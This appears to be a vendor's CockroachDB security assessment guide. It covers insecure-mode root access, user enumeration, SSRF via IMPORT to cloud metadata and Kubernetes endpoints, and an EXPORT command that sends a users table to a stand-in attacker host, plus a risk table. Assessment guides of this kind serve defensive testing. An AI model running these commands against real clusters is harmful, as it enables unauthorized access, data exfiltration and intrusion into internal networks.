CockroachDB is a cloud-native distributed SQL database designed for high availability and global consistency. Its distributed architecture introduces unique security challenges: the --insecure flag disables all TLS and authentication giving root access to anyone who can connect, inter-node communication using TLS certificates that when compromised allow rogue nodes to join the cluster and read all data, the HTTP admin UI on port 8080 exposing sensitive cluster metadata, SQL IMPORT and EXPORT statements accepting HTTP URLs that can be weaponized for SSRF, and privilege escalation via SQL GRANT ADMIN TO if any lower-privilege user holds inappropriate permissions. This guide covers systematic CockroachDB security assessment.
# CockroachDB --insecure flag = no TLS, no password required, root access
# Default port: 26257 (SQL), 8080 (HTTP admin UI)
# Test insecure mode connection
cockroach sql --insecure --host=cockroach.example.com:26257 \
--execute="SELECT version();" 2>/dev/null
# If connects without password = insecure mode confirmed
# Via psql (CockroachDB is PostgreSQL protocol compatible)
psql -h cockroach.example.com -p 26257 -U root \
--no-password -c "SHOW DATABASES;" 2>/dev/null
# Enumerate all users and roles
cockroach sql --insecure --host=cockroach.example.com:26257 \
--execute="SHOW USERS;" 2>/dev/null
# Check current privileges
cockroach sql --insecure --host=cockroach.example.com:26257 \
--execute="SHOW GRANTS;" 2>/dev/null | head -20
# Read all databases and schemas
cockroach sql --insecure --host=cockroach.example.com:26257 \
--execute="SELECT database_name FROM [SHOW DATABASES];" 2>/dev/null# CockroachDB IMPORT and EXPORT statements accept external URLs
# If the database server has access to internal network, this enables SSRF
# Test IMPORT with HTTP URL pointing to metadata service
cockroach sql --insecure --host=cockroach.example.com:26257 \
--execute="IMPORT TABLE ssrf_test (id INT PRIMARY KEY, data STRING) CSV DATA ('http://169.254.169.254/latest/meta-data/');" 2>/dev/null
# Error will reveal whether the request was made and what was returned
# Test EXPORT to attacker-controlled server
cockroach sql --insecure --host=cockroach.example.com:26257 \
--execute="EXPORT INTO CSV 'http://attacker.example.com/exfil' FROM SELECT * FROM users LIMIT 1;" 2>/dev/null
# Test IMPORT from internal Kubernetes service
cockroach sql --insecure --host=cockroach.example.com:26257 \
--execute="IMPORT TABLE k8s_test (id INT) CSV DATA ('http://kubernetes.default.svc.cluster.local/api/v1/');" 2>/dev/null
# Response error message may contain the API response content--insecure outside of local development — use TLS with certificate authentication in all other environmentscluster.organization and license checks to enforce enterprise security features| Security Test | Method | Risk |
|---|---|---|
| Insecure mode enabled | Connect via psql without password on port 26257 | Critical |
| IMPORT/EXPORT SSRF to metadata service | IMPORT FROM 'http://169.254.169.254/...' — check error response | Critical |
| HTTP admin UI accessible without auth | curl :8080/_admin/v1/nodes — returns cluster node data | High |
| ADMIN role privilege escalation via GRANT | GRANT ADMIN TO low-priv-user — test if non-admin can escalate | High |
| Rogue node join via compromised cert | Start CockroachDB node with stolen CA cert — joins cluster | High |
| Application using root user in connection | Inspect application DB connection strings for user=root | Medium |
Ironimo tests CockroachDB deployments for insecure mode unauthenticated root access, TLS certificate validation bypass for rogue node join, HTTP admin UI exposure, SQL injection in application code, ADMIN role privilege escalation via GRANT abuse, and IMPORT/EXPORT SSRF to cloud metadata services and internal APIs.
Start free scan